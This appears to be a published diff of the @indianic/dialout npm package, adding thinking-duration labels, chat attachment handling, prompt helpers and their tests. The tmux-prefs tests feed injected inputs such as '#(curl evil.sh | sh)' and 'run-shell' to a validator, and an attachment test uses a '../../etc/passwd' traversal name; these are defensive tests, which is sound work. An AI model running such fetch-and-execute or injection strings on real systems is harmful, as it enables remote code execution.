@indianic/dialout 1.9.0 → 1.11.0

package/node_modules/@indianic/dialout-shared/dist/thinking.js

@@ -0,0 +1,38 @@
+"use strict";
+// How a spell of reasoning is labelled in the transcript.
+//
+// Most of it never reaches us. Claude Code runs adaptive thinking with a
+// `clear_thinking_20251015` context edit, which strips the words out of the
+// persisted history and leaves a signed, empty block behind — measured at 515
+// of 615 blocks in one real session. Codex and Grok encrypt theirs outright.
+// So a thinking row usually has no words to show, only the fact that it
+// happened and `thinkingDurationMs` saying how long for. That is worth
+// showing: it is the difference between an agent that is stuck and one that is
+// thinking hard.
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.thinkingDuration = thinkingDuration;
+exports.thinkingLabel = thinkingLabel;
+/** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
+function thinkingDuration(ms) {
+    if (!Number.isFinite(ms) || ms <= 0)
+        return '';
+    if (ms < 1000)
+        return `${Math.round(ms)}ms`;
+    const s = ms / 1000;
+    if (s < 10)
+        return `${s.toFixed(1)}s`;
+    if (s < 60)
+        return `${Math.round(s)}s`;
+    const m = Math.floor(s / 60);
+    const rest = Math.round(s % 60);
+    return rest ? `${m}m ${rest}s` : `${m}m`;
+}
+/**
+ * The label for a thinking row. "Thought for 1.4s" when the vendor said how
+ * long, and the vaguer wording only when it did not — never a bare
+ * "thinking…", which read as though something were still in flight.
+ */
+function thinkingLabel(ms) {
+    const d = ms == null ? '' : thinkingDuration(ms);
+    return d ? `Thought for ${d}` : 'Thought for a moment';
+}

package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=thinking.test.d.ts.map

package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"thinking.test.d.ts","sourceRoot":"","sources":["../src/thinking.test.ts"],"names":[],"mappings":""}

package/node_modules/@indianic/dialout-shared/dist/thinking.test.js

@@ -0,0 +1,30 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const vitest_1 = require("vitest");
+const thinking_1 = require("./thinking");
+(0, vitest_1.describe)('thinkingDuration', () => {
+    (0, vitest_1.it)('reads like a stopwatch at every scale', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(490)).toBe('490ms');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(1422)).toBe('1.4s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(12252)).toBe('12s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(59_400)).toBe('59s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(60_000)).toBe('1m');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(125_000)).toBe('2m 5s');
+    });
+    (0, vitest_1.it)('says nothing rather than "0s" when there is no duration to report', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(0)).toBe('');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(-5)).toBe('');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(NaN)).toBe('');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(Infinity)).toBe('');
+    });
+});
+(0, vitest_1.describe)('thinkingLabel', () => {
+    (0, vitest_1.it)('names the duration when the vendor gave one', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(1422)).toBe('Thought for 1.4s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(12252)).toBe('Thought for 12s');
+    });
+    (0, vitest_1.it)('falls back to the vague wording, never a bare "thinking…"', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(undefined)).toBe('Thought for a moment');
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(0)).toBe('Thought for a moment');
+    });
+});

package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=tmux-prefs.test.d.ts.map

package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"tmux-prefs.test.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.test.ts"],"names":[],"mappings":""}

package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.js

@@ -0,0 +1,95 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const vitest_1 = require("vitest");
+const tmux_prefs_1 = require("./tmux-prefs");
+(0, vitest_1.describe)('resolveTmuxPrefs', () => {
+    (0, vitest_1.it)('returns the defaults for an empty input', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({})).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+    });
+    // The same function guards a config file on disk and a JSON body from a
+    // browser, so every shape of garbage has to come out as valid prefs.
+    (0, vitest_1.it)('survives null, undefined and non-objects', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(null)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(undefined)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 'not an object' })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 42 })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+    });
+    (0, vitest_1.it)('overrides only what it names', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'tmux' } });
+        (0, vitest_1.expect)(prefs.mouse).toBe('tmux');
+        (0, vitest_1.expect)(prefs.historyLimit).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
+    });
+    // status is nested; a shallow spread would wipe the siblings.
+    (0, vitest_1.it)('keeps unnamed status siblings', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: 'colour238' } } });
+        (0, vitest_1.expect)(prefs.status.bg).toBe('colour238');
+        (0, vitest_1.expect)(prefs.status.fg).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.fg);
+        (0, vitest_1.expect)(prefs.status.enabled).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.enabled);
+    });
+    (0, vitest_1.it)('falls back rather than passing an unknown enum through to tmux', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { position: 'sideways' } } }).status.position)
+            .toBe('bottom');
+    });
+    (0, vitest_1.it)('rejects a non-integer, negative or absurd history limit', () => {
+        for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: bad } }).historyLimit)
+                .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
+        }
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
+    });
+    // The one that matters once a browser can send this: a template carrying
+    // command substitution must never be stored.
+    (0, vitest_1.it)('rejects a status template containing command substitution', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
+        (0, vitest_1.expect)(prefs.status.left).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
+    });
+    (0, vitest_1.it)('rejects a status template containing run-shell', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { right: 'x run-shell "id"' } } });
+        (0, vitest_1.expect)(prefs.status.right).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.right);
+    });
+    (0, vitest_1.it)('rejects an over-long status template', () => {
+        const long = 'a'.repeat(tmux_prefs_1.MAX_STATUS_TEMPLATE + 1);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: long } } }).status.left)
+            .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
+    });
+    (0, vitest_1.it)('rejects a colour that is not a colour', () => {
+        for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: bad } } }).status.bg)
+                .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.bg);
+        }
+    });
+    (0, vitest_1.it)('accepts the colour forms tmux understands', () => {
+        for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
+        }
+    });
+});
+(0, vitest_1.describe)('compileStatusTemplate', () => {
+    (0, vitest_1.it)('compiles every advertised token to something else', () => {
+        for (const token of tmux_prefs_1.STATUS_TOKENS) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)(`[${token}]`)).not.toBe(`[${token}]`);
+        }
+    });
+    (0, vitest_1.it)('leaves an unknown token verbatim rather than dropping it', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('[nonsense]')).toBe('[nonsense]');
+    });
+    (0, vitest_1.it)('escapes a quote so it cannot end the emitted tmux string', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('say "hi"')).not.toMatch(/(?<!\\)"/);
+    });
+    (0, vitest_1.it)('throws on command substitution and run-shell', () => {
+        (0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('#(id)')).toThrow(/not allowed/i);
+        (0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('run-shell id')).toThrow(/not allowed/i);
+    });
+});
+(0, vitest_1.describe)('validators', () => {
+    (0, vitest_1.it)('isValidStatusTemplate mirrors compileStatusTemplate', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('[folder]')).toBe(true);
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('#(id)')).toBe(false);
+    });
+    (0, vitest_1.it)('isValidTmuxColor rejects anything that could inject a second option', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green')).toBe(true);
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green,fg=red')).toBe(false);
+    });
+});

package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=tool-appearance.test.d.ts.map

package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"tool-appearance.test.d.ts","sourceRoot":"","sources":["../src/tool-appearance.test.ts"],"names":[],"mappings":""}

package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.js

@@ -0,0 +1,38 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const vitest_1 = require("vitest");
+const tool_appearance_1 = require("./tool-appearance");
+(0, vitest_1.describe)('tool-appearance', () => {
+    (0, vitest_1.it)('maps known tools to their action class', () => {
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Read')).toBe('read');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Glob')).toBe('read');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Grep')).toBe('search');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('WebSearch')).toBe('search');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Bash')).toBe('run');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Task')).toBe('run');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Edit')).toBe('write');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Write')).toBe('write');
+    });
+    (0, vitest_1.it)('is case and whitespace insensitive', () => {
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('  bASh  ')).toBe('run');
+    });
+    // New tools ship constantly. An unknown name must render as a neutral row,
+    // never throw and never blank the trace.
+    (0, vitest_1.it)('falls back to other for an unknown tool', () => {
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('SomeToolShippedNextWeek')).toBe('other');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolAppearance)('SomeToolShippedNextWeek').colorVar).toBe('--dim');
+    });
+    (0, vitest_1.it)('failure beats the name-derived class', () => {
+        const a = (0, tool_appearance_1.toolAppearance)('Read', false);
+        (0, vitest_1.expect)(a.cls).toBe('failure');
+        (0, vitest_1.expect)(a.colorVar).toBe('--offline');
+        (0, vitest_1.expect)(a.glyph).toBe('✕');
+    });
+    (0, vitest_1.it)('every class has a glyph and a colour token', () => {
+        for (const name of ['Read', 'Grep', 'Bash', 'Edit', 'Nonsense']) {
+            const a = (0, tool_appearance_1.toolAppearance)(name);
+            (0, vitest_1.expect)(a.glyph.length).toBeGreaterThan(0);
+            (0, vitest_1.expect)(a.colorVar.startsWith('--')).toBe(true);
+        }
+    });
+});

package/node_modules/@indianic/dialout-shared/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@indianic/dialout-shared",
-  "version": "1.3.0",
+  "version": "1.5.0",
   "description": "Types and constants shared by the Dialout server, agent and mobile app.",
   "publishConfig": {
     "registry": "https://registry.npmjs.org"
@@ -20,7 +20,7 @@
     "dist"
   ],
   "scripts": {
-    "build": "tsc",
+    "build": "tsc -p tsconfig.build.json",
     "test": "vitest run"
   },
   "devDependencies": {

package/node_modules/@indianic/dialout-shared/src/attachments.test.ts

@@ -0,0 +1,33 @@
+import { describe, expect, it } from 'vitest';
+import { composeWithAttachments, safeAttachmentName, splitAttachments } from './attachments';
+
+const P1 = '/Users/me/.dialout/attachments/2026-10-21/a1b2c3d4-shot.png';
+const P2 = '/Users/me/.dialout/attachments/2026-10-21/0f0f0f0f-spec.pdf';
+
+describe('attachments', () => {
+  it('makes names safe for disk and for a CLI line', () => {
+    expect(safeAttachmentName('Screen Shot 2026-10-21 at 3.04 PM.PNG')).toBe('Screen-Shot-2026-10-21-at-3.04-PM.png');
+    expect(safeAttachmentName('../../etc/passwd')).toBe('passwd');
+    expect(safeAttachmentName('.env')).toBe('env');
+    expect(safeAttachmentName('')).toBe('file');
+    expect(safeAttachmentName('a'.repeat(200) + '.jpeg').length).toBeLessThanOrEqual(80);
+    expect(safeAttachmentName('résumé (final).pdf')).toBe('resume-final.pdf');
+  });
+
+  it('references files the way each CLI reads them, on one line', () => {
+    expect(composeWithAttachments('claude', 'Fix this\nlayout', [P1])).toBe(`Fix this layout @${P1}`);
+    expect(composeWithAttachments('codex', 'Look', [P1, P2])).toBe(`Look (attached: ${P1}, ${P2})`);
+    expect(composeWithAttachments('claude', '', [P1])).toBe(`@${P1}`);
+    expect(composeWithAttachments('grok', 'hi', [])).toBe('hi');
+  });
+
+  it('turns references back into chips, leaving other paths alone', () => {
+    const a = splitAttachments(composeWithAttachments('claude', 'Fix /src/app.ts please', [P1, P2]));
+    expect(a.text).toBe('Fix /src/app.ts please');
+    expect(a.files.map((f) => [f.name, f.image])).toEqual([['shot.png', true], ['spec.pdf', false]]);
+    const b = splitAttachments(composeWithAttachments('codex', 'Look', [P1]));
+    expect(b.text).toBe('Look');
+    expect(b.files[0].path).toBe(P1);
+    expect(splitAttachments('nothing here (attached: soon)').text).toBe('nothing here (attached: soon)');
+  });
+});

package/node_modules/@indianic/dialout-shared/src/attachments.ts

@@ -0,0 +1,82 @@
+// Files and images attached to an AI chat message.
+//
+// A coding CLI cannot receive a file over its TUI, but every one of them can
+// read a file by path: Claude Code natively (`@/path` mentions, images
+// included), Codex and Grok through their read/view tools. So an attachment
+// is uploaded to the machine the agent runs on, saved under
+// ~/.dialout/attachments, and the message carries its path. The same rules
+// are used by the web app, the phone app and the agent.
+
+/** Per file. Images from a phone camera fit comfortably; videos do not belong here. */
+export const ATTACHMENT_MAX_BYTES = 15 * 1024 * 1024;
+export const ATTACHMENT_MAX_FILES = 8;
+/** Where the agent keeps them, relative to the user's home. */
+export const ATTACHMENT_DIR = '.dialout/attachments';
+
+const IMAGE_EXT = /\.(png|jpe?g|gif|webp|heic|heif|bmp|svg)$/i;
+
+export function isImageName(name: string): boolean {
+  return IMAGE_EXT.test(name);
+}
+
+/**
+ * A name safe to put on disk and inside a message: letters, digits, dot,
+ * dash and underscore only, no leading dots, at most 80 characters with the
+ * extension kept. No spaces, so a path never has to be quoted for a CLI.
+ */
+export function safeAttachmentName(name: string): string {
+  const base = String(name || '').split(/[\\/]/).pop() || '';
+  const dot = base.lastIndexOf('.');
+  const ext = dot > 0 ? base.slice(dot).toLowerCase().replace(/[^a-z0-9.]/g, '').slice(0, 10) : '';
+  const stem = (dot > 0 ? base.slice(0, dot) : base)
+    .normalize('NFKD').replace(/[\u0300-\u036f]/g, '').replace(/[^\w.-]+/g, '-').replace(/^[.-]+|[.-]+$/g, '').replace(/-{2,}/g, '-')
+    .slice(0, 80 - ext.length);
+  return `${stem || 'file'}${ext}`;
+}
+
+/**
+ * The message with its attachments referenced the way each CLI reads them.
+ * One line on purpose: a newline typed into a TUI can submit the message
+ * half-written.
+ */
+export function composeWithAttachments(kind: string, text: string, paths: string[]): string {
+  const body = text.replace(/\s*\n+\s*/g, ' ').trim();
+  if (!paths.length) return body;
+  const refs = kind === 'claude'
+    ? paths.map((p) => `@${p}`).join(' ')
+    : `(attached: ${paths.join(', ')})`;
+  return body ? `${body} ${refs}` : refs;
+}
+
+export type AttachmentRef = { path: string; name: string; image: boolean };
+
+const IN_DIR = /^(?:~|\/[^\s,()]*?)\/\.dialout\/attachments\/[^\s,()]+$/;
+
+/**
+ * Pull attachment paths back out of a sent message, so a chat bubble can show
+ * them as chips instead of long paths. Only paths inside the attachments
+ * folder count; any other path the user typed stays text.
+ */
+export function splitAttachments(message: string): { text: string; files: AttachmentRef[] } {
+  const files: AttachmentRef[] = [];
+  const seen = new Set<string>();
+  const text = message
+    .replace(/\(attached:\s*([^)]*)\)/g, (whole, list: string) => {
+      const paths = list.split(',').map((s) => s.trim()).filter((s) => IN_DIR.test(s));
+      if (!paths.length) return whole;
+      for (const p of paths) add(p);
+      return '';
+    })
+    .replace(/@?((?:~|\/[^\s,()]*?)\/\.dialout\/attachments\/[^\s,()]+)/g, (_w, p: string) => { add(p); return ''; })
+    .replace(/\s{2,}/g, ' ')
+    .trim();
+  function add(p: string) {
+    if (seen.has(p)) return;
+    seen.add(p);
+    const file = p.split('/').pop() || p;
+    // Saved names carry an 8-character id prefix ("a1b2c3d4-shot.png").
+    const name = file.replace(/^[0-9a-f]{8}-/, '');
+    files.push({ path: p, name, image: isImageName(name) });
+  }
+  return { text, files };
+}

package/node_modules/@indianic/dialout-shared/src/chat-blocks.ts

@@ -13,7 +13,7 @@ export type ChatBlock =
   | { kind: 'user';      key: string; text: string; pending?: boolean }
   | { kind: 'assistant'; key: string; text: string }
   | { kind: 'tools';     key: string; items: ToolItem[] }
-  | { kind: 'thinking';  key: string; text: string }
+  | { kind: 'thinking';  key: string; text: string; ms?: number }
   | { kind: 'status';    key: string; status: string };
 
 // Grouping only ever merges ADJACENT events, so the worst case for an adapter
@@ -62,7 +62,7 @@ export function groupEvents(events: AiEvent[]): ChatBlock[] {
     }
 
     if (e.kind === 'thinking') {
-      blocks.push({ kind: 'thinking', key, text: e.text || '' });
+      blocks.push({ kind: 'thinking', key, text: e.text || '', ms: e.ms });
       return;
     }
 

package/node_modules/@indianic/dialout-shared/src/events.ts

@@ -7,7 +7,11 @@ export type AiEvent =
   | { kind: 'message';     role: 'user' | 'assistant'; text: string; id?: string; at?: string }
   | { kind: 'tool_call';   name: string; summary: string; input?: unknown; id?: string; at?: string }
   | { kind: 'tool_result'; forId: string; ok: boolean; preview: string; at?: string }
-  | { kind: 'thinking';    text: string; id?: string; at?: string }
+  // `text` is empty when the vendor kept the reasoning out of the transcript
+  // (Claude Code's adaptive thinking strips it and leaves only a signature),
+  // and `ms` is how long it spent. One of the two is always worth showing:
+  // the words if they survived, otherwise that it thought and for how long.
+  | { kind: 'thinking';    text: string; ms?: number; id?: string; at?: string }
   | { kind: 'state';       status: AiStatus; at?: string };
 
 export interface AiAdapter {

package/node_modules/@indianic/dialout-shared/src/index.ts

@@ -41,5 +41,12 @@ export {
 export type { TranscriptState, EventsMeta } from './event-merge';
 export { EMPTY_TRANSCRIPT, mergeEvents } from './event-merge';
 
+export { thinkingDuration, thinkingLabel } from './thinking';
 export type { PanePrompt, PanePromptOption, PromptKey } from './pane-prompt';
-export { PROMPT_KEYS, detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
+export { PROMPT_KEYS, detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
+
+export type { AttachmentRef } from './attachments';
+export {
+  ATTACHMENT_DIR, ATTACHMENT_MAX_BYTES, ATTACHMENT_MAX_FILES,
+  composeWithAttachments, isImageName, safeAttachmentName, splitAttachments,
+} from './attachments';

package/node_modules/@indianic/dialout-shared/src/pane-prompt.test.ts

@@ -1,5 +1,5 @@
 import { describe, expect, it } from 'vitest';
-import { detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
+import { detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
 
 // Shapes as the CLIs draw them (spacing kept), plus the noise around them.
 const CLAUDE_BASH = `
@@ -177,3 +177,25 @@ describe('promptKeys', () => {
     expect(isSafeKeyList('Enter')).toBe(false);
   });
 });
+
+describe('free-text rows', () => {
+  it('knows which rows want typing, and moves there without choosing', () => {
+    expect(isFreeTextOption('Type something.')).toBe(true);
+    expect(isFreeTextOption('Other')).toBe(true);
+    expect(isFreeTextOption('No, and tell Claude what to do differently (esc)')).toBe(false);
+    expect(isFreeTextOption('Yes')).toBe(false);
+    const p = detectPanePrompt(CLAUDE_QUESTION)!;
+    expect(promptMoveKeys(p, 3)).toEqual(['Down', 'Down']);
+    expect(promptMoveKeys(p, 1)).toEqual([]);
+  });
+
+  it('finds the row that wants typing, and stops once it holds text', () => {
+    const p = detectPanePrompt(CLAUDE_QUESTION)!;
+    expect(freeTextRow(p)).toBe(3);
+    // The TUI echoes what is typed in place of the label; the row is then
+    // mid-answer, not an empty invitation, so the card must not reopen on it.
+    const typed = detectPanePrompt(CLAUDE_QUESTION.replace('3. Type something.', '3. Teal like the sea'))!;
+    expect(freeTextRow(typed)).toBe(0);
+    expect(freeTextRow(detectPanePrompt(CLAUDE_BASH)!)).toBe(0);
+  });
+});

package/node_modules/@indianic/dialout-shared/src/pane-prompt.ts

@@ -216,3 +216,30 @@ export function promptKeys(p: PanePrompt, n: number): string[] {
   const move = to > from ? Array(to - from).fill('Down') : Array(from - to).fill('Up');
   return [...move, 'Enter'];
 }
+
+/**
+ * A row that takes typed text rather than being an answer itself: Claude
+ * Code's "Type something." / an "Other" row. Picking it with Enter answers
+ * with nothing, so the card asks for the text first.
+ */
+export function isFreeTextOption(label: string): boolean {
+  return /^(type something|type your own|other|something else)\.?(\s*\(.*\))?$/i.test(label.trim());
+}
+
+/**
+ * Keys that put the cursor on row `n` without choosing it. For a free-text
+ * row: move there, then the text is typed and Enter pressed (as one message).
+ */
+export function promptMoveKeys(p: PanePrompt, n: number): string[] {
+  return promptKeys(p, n).slice(0, -1);
+}
+
+/**
+ * The free-text row's number, or 0 if the menu has none. A TUI echoes what is
+ * typed in place of that row's label, so a row that already holds text no
+ * longer matches — which is correct: it is mid-answer, not an empty invitation.
+ */
+export function freeTextRow(p: PanePrompt): number {
+  const row = p.options.find((o) => o.checked === null && isFreeTextOption(o.label));
+  return row ? row.n : 0;
+}

package/node_modules/@indianic/dialout-shared/src/thinking.test.ts

@@ -0,0 +1,32 @@
+import { describe, expect, it } from 'vitest';
+import { thinkingDuration, thinkingLabel } from './thinking';
+
+describe('thinkingDuration', () => {
+  it('reads like a stopwatch at every scale', () => {
+    expect(thinkingDuration(490)).toBe('490ms');
+    expect(thinkingDuration(1422)).toBe('1.4s');
+    expect(thinkingDuration(12252)).toBe('12s');
+    expect(thinkingDuration(59_400)).toBe('59s');
+    expect(thinkingDuration(60_000)).toBe('1m');
+    expect(thinkingDuration(125_000)).toBe('2m 5s');
+  });
+
+  it('says nothing rather than "0s" when there is no duration to report', () => {
+    expect(thinkingDuration(0)).toBe('');
+    expect(thinkingDuration(-5)).toBe('');
+    expect(thinkingDuration(NaN)).toBe('');
+    expect(thinkingDuration(Infinity)).toBe('');
+  });
+});
+
+describe('thinkingLabel', () => {
+  it('names the duration when the vendor gave one', () => {
+    expect(thinkingLabel(1422)).toBe('Thought for 1.4s');
+    expect(thinkingLabel(12252)).toBe('Thought for 12s');
+  });
+
+  it('falls back to the vague wording, never a bare "thinking…"', () => {
+    expect(thinkingLabel(undefined)).toBe('Thought for a moment');
+    expect(thinkingLabel(0)).toBe('Thought for a moment');
+  });
+});

package/node_modules/@indianic/dialout-shared/src/thinking.ts

@@ -0,0 +1,32 @@
+// How a spell of reasoning is labelled in the transcript.
+//
+// Most of it never reaches us. Claude Code runs adaptive thinking with a
+// `clear_thinking_20251015` context edit, which strips the words out of the
+// persisted history and leaves a signed, empty block behind — measured at 515
+// of 615 blocks in one real session. Codex and Grok encrypt theirs outright.
+// So a thinking row usually has no words to show, only the fact that it
+// happened and `thinkingDurationMs` saying how long for. That is worth
+// showing: it is the difference between an agent that is stuck and one that is
+// thinking hard.
+
+/** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
+export function thinkingDuration(ms: number): string {
+  if (!Number.isFinite(ms) || ms <= 0) return '';
+  if (ms < 1000) return `${Math.round(ms)}ms`;
+  const s = ms / 1000;
+  if (s < 10) return `${s.toFixed(1)}s`;
+  if (s < 60) return `${Math.round(s)}s`;
+  const m = Math.floor(s / 60);
+  const rest = Math.round(s % 60);
+  return rest ? `${m}m ${rest}s` : `${m}m`;
+}
+
+/**
+ * The label for a thinking row. "Thought for 1.4s" when the vendor said how
+ * long, and the vaguer wording only when it did not — never a bare
+ * "thinking…", which read as though something were still in flight.
+ */
+export function thinkingLabel(ms?: number): string {
+  const d = ms == null ? '' : thinkingDuration(ms);
+  return d ? `Thought for ${d}` : 'Thought for a moment';
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@indianic/dialout",
-  "version": "1.9.0",
+  "version": "1.11.0",
   "description": "Dialout agent — reach your office, home or build machine from any browser or phone. Remote tmux terminals, live port checks, filesystem browsing, process control and HTTP tunnels. The agent dials out: no inbound ports, no VPN, no port forwarding.",
   "bin": {
     "dialout": "./bin/devdash-agent.js"